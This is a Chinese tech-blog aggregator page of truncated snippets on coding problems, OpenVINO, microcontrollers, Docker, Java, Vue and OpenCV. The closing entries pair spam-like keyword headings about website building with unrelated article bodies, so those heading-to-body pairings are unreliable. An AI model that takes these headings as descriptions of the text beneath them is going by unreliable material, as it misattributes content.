题目 微商模式比较典型&#xff0c;下级每赚100元就要上交15元&#xff0c;给出每个级别的收入&#xff0c;求出金字塔尖上的人收入。 输入描述 第一行输入N&#xff0c;表示有N个代理商上下级关系 接下来输入N行&#xff0c;每行三个数:代理商代号 上级代理商代号 代理商赚的钱…...

OpenVINO异步Stable Diffusion推理优化方案

文章目录 Stable Diffusion 推理优化背景技术讲解&#xff1a;异步优化方案思路&#xff1a;异步推理优化原理OpenVINO异步推理Python API同步和异步实现方式对比 oneflow分布式调度优化优势&#xff1a;实现思路 总结&#xff1a; Stable Diffusion 推理优化 背景 2022年&…...

51单片机的智能加湿器控制系统【含proteus仿真+程序+报告+原理图】

1、主要功能 该系统由AT89C51单片机LCD1602显示模块DHT11湿度传感器模块继电器等模块构成。主要适用于智能自动加湿器、湿度保持、湿度控制等相似项目。 可实现基本功能: 1、LCD1602液晶屏实时显示湿度信息 2、DHT11采集湿度 3、按键可以调节适宜人体湿度的阈值范围&#xff0…...

NoSql非关系型数据库

前言&#xff1a;Nosql not only sql&#xff0c;意即“不仅仅是sql”&#xff0c;泛指非关系型数据库。这些类型的数据存储不需要固定的模式&#xff08;当然也有固定的模式&#xff09;&#xff0c;无需多余的操作就可以横向扩展。NoSql数据库中的数据是使用聚合模型来进行处…...

抖音集团面试挂在2面,复盘后,决定二战.....

先说下我基本情况&#xff0c;本科不是计算机专业&#xff0c;现在是学通信&#xff0c;然后做图像处理&#xff0c;可能面试官看我不是科班出身没有问太多计算机相关的问题&#xff0c;因为第一次找工作&#xff0c;字节的游戏专场又是最早开始的&#xff0c;就投递了&#xf…...

每个.NET开发都应掌握的C#处理文件系统I/O知识点

上篇文章讲述了C#多线程知识点&#xff0c;本文将介绍C#处理文件的知识点。在.NET开发领域&#xff0c;文件系统I/O是一个至关重要的主题&#xff0c;尤其是在处理文件、目录和数据存储方面。C#作为.NET平台的主要编程语言&#xff0c;提供了丰富而强大的文件系统I/O功能&#…...

vue3 中使用 sse 最佳实践,封装工具

工具 // 接受参数 export interface SSEChatParams {url: string,// sse 连接onmessage: (event: MessageEvent) > void,// 处理消息的函数onopen: () > void,// 建立连接触发的事件finallyHandler: () > void,// 相当于 try_finally 中的 finally 部分&#xff0c;不…...

OpenCV快速入门【完结】:总目录——初窥计算机视觉

文章目录 前言目录1. OpenCV快速入门&#xff1a;初探2. OpenCV快速入门&#xff1a;像素操作和图像变换3. OpenCV快速入门&#xff1a;绘制图形、图像金字塔和感兴趣区域4. OpenCV快速入门&#xff1a;图像滤波与边缘检测5. OpenCV快速入门&#xff1a;图像形态学操作6. OpenC…...

车企数据治理实践案例,实现数据生产、消费的闭环链路 | 数字化标杆

随着业务飞速发展&#xff0c;某汽车制造企业业务系统数量、复杂度和数据量都在呈几何级数的上涨&#xff0c;这就对于企业IT能力和IT架构模式的要求越来越高。加之企业大力发展数字化营销、新能源车等业务&#xff0c;希望通过持续优化客户体验&#xff0c;创造可持续发展的数…...

深入学习锁--Lock各种使用方法

一、什么是Lock Lock是一个接口,通常所说的可重入锁是指Lock的一个实现子类ReentrantLock 二、Lock实现步骤&#xff1a; ①创建锁对象Lock lock new ReentrantLock(); ②加锁lock.lock(); ③释放锁lock.unlock(); import java.util.concurrent.locks.Lock; import java.util…...

计算机毕设:基于机器学习的生物医学语音检测识别 附完整代码数据可直接运行

项目视频讲解: 基于机器学习的生物医学语音检测识别 完整代码数据可直接运行_哔哩哔哩_bilibili 运行效果图: 数据展示: 完整代码: #导入python的 numpy matplotlib pandas库 import pandas as pd import numpy as np import matplotlib.pyplot as plt #绘图 import se…...

VMware安装Ubuntu系统(Server端,Desktop端步骤一样)

天行健&#xff0c;君子以自强不息&#xff1b;地势坤&#xff0c;君子以厚德载物。 每个人都有惰性&#xff0c;但不断学习是好好生活的根本&#xff0c;共勉&#xff01; 文章均为学习整理笔记&#xff0c;分享记录为主&#xff0c;如有错误请指正&#xff0c;共同学习进步。…...

Navicat 与 华为云 GaussDB 合作再升级,赋能 GaussDB 分布式数据库

2023 年第三季度&#xff0c;Navicat 首次支持了华为云 GaussDB 主备版数据库。经过双方团队进一步的深化合作&#xff0c;Navicat 完成了 GaussDB 分布式的研发适配工作&#xff0c;赋能 GaussDB 全域数据库产品。 GaussDB 数据库分为主备版和分布式版两种模式。主备版适用于…...

【Docker】从零开始:13.Docker安装tomcat

Docker】从零开始&#xff1a;13.Docker安装Tomcat 下载Tomcat镜像启动Tomcat镜像新版本Tomcat修改访问Tomact首页 下载Tomcat镜像 [rootdocker ~]# docker pull tomcat Using default tag: latest latest: Pulling from library/tomcat 0e29546d541c: Pull complete 9b829c7…...

风控规则引擎(一):Java 动态脚本

风控规则引擎&#xff08;一&#xff09;&#xff1a;Java 动态脚本 日常场景 共享单车会根据微信分或者芝麻分来判断是否交押金汽车租赁公司也会根据微信分或者芝麻分来判断是否交押金在一些外卖 APP 都会提供根据你的信用等级来发放贷款产品金融 APP 中会根据很复杂规则来判…...

第五十六天|583. 两个字符串的删除操作 72. 编辑距离

583. 两个字符串的删除操作 可以求出最大子序列然后用字符串长度去减&#xff0c;也可以用删除的思路&#xff0c;如下&#xff1a; class Solution { public:int minDistance(string word1, string word2) {vector<vector<int>> dp(word1.size()1,vector<int…...

java中Lists.newArrayList和new ArrayList的详细区别?

下面是对Lists.newArrayList()和new ArrayList<>()的详细区别进行举例说明&#xff1a; 创建具有初始数据的列表&#xff1a; java Copy code import com.google.common.collect.Lists; List<String> list1 Lists.newArrayList("apple", "banana…...

从图片或PDF文件识别表格提取内容的简单库img2table

img2table是一个基于OpenCV 图像处理的用于 PDF 和图像的表识别和提取 Python库。由于其设计基于神经网络的解决方案&#xff0c;提供了一种实用且更轻便的替代方案&#xff0c;尤其是在 CPU 上使用时。 该库的特点&#xff1a; 识别图像和PDF文件中的表格&#xff0c;包括在表…...

CSV文件中使用insert 函数在指定列循环插入不同数据

文章目录 一、系统、工具要求二、需求三、代码实现&#xff1a;四、核心代码解读五、逐行更改某一列数据六&#xff1a;实现在文件的末尾增加指定内容列 一、系统、工具要求 pandaspythoncsv Windows 系统 二、需求 我有两个文件&#xff1a; 文件一&#xff1a;subject_ma…...

【华为OD题库-064】最小传输时延I-java

题目 某通信网络中有N个网络结点&#xff0c;用1到N进行标识。网络通过一个有向无环图.表示,其中图的边的值表示结点之间的消息传递时延。 现给定相连节点之间的时延列表times[]{u&#xff0c;v&#xff0c; w)&#xff0c;其中u表示源结点&#xff0c;v表示目的结点&#xff0…...

flash网站用什么做/网站快速排名的方法

http://www.swfdiy.com/?p842 AMF3 AS 3.0 ASP.NET 完整配置过程 啥是AMF AMF是Action Message Format的简写&#xff0c;它是一种二进制的数据格式&#xff0c; 它的设计&#xff0c;是为了把actionscript里面的数据(包括Object, Array, Boolean, Number等)序列化成 一段你…...

深圳沙头网站建设/个人免费建站系统

基于HSV颜色模型的直方图均衡化图像去雾技术_百度学术 http://xueshu.baidu.com/s?wdpaperuri%3A(8622e930fa7d1a1a46986dd38a978659)&filtersc_long_sign&tnSE_baiduxueshu_c1gjeupa&ieutf-8&sc_ks_paraq%3D%E5%9F%BA%E4%BA%8EHSV%E9%A2%9C%E8%89%B2%E6%A8%A…...

树莓派做网站/互联网培训

本篇文章给大家带来的内容是关于MySQL如何通过实例化对象参数查询数据 &#xff1f;(源代码)&#xff0c;有一定的参考价值&#xff0c;有需要的朋友可以参考一下&#xff0c;希望对你有所帮助。public static string QueryByEntity(T t) where T : new(){ string resultstr s…...

wordpress iframe页面/35个成功的市场营销策划案例

http://www.cnblogs.com/wservices/archive/2010/07/08/1773449.html 看到很多书中都没有对PreferenceActivity做介绍&#xff0c;而我正好又在项目中用到&#xff0c;所以就把自己的使用的在这总结一下&#xff0c;也方便日后查找。 PerferenceActivity是什么&#xff0c;看下…...

如何提高wordpress访问速度/it教育培训机构排名

转载原文在win环境下使用Git与GitHub建立关联or第二篇文章or图解说...

新时期如何做好政府网站建设/天天自学网网址

小米的百科诠释太多了内容小米集团&#xff0c;我觉得也不用怎么介绍了&#xff0c;大家太熟悉了&#xff01;小米的产业链想必大家也知道我也不多说&#xff0c;直接看产品&#xff01;直接入正题吧。小米的airdots实际上从出身开始他是有着高级芯片的&#xff0c;csr8670&…...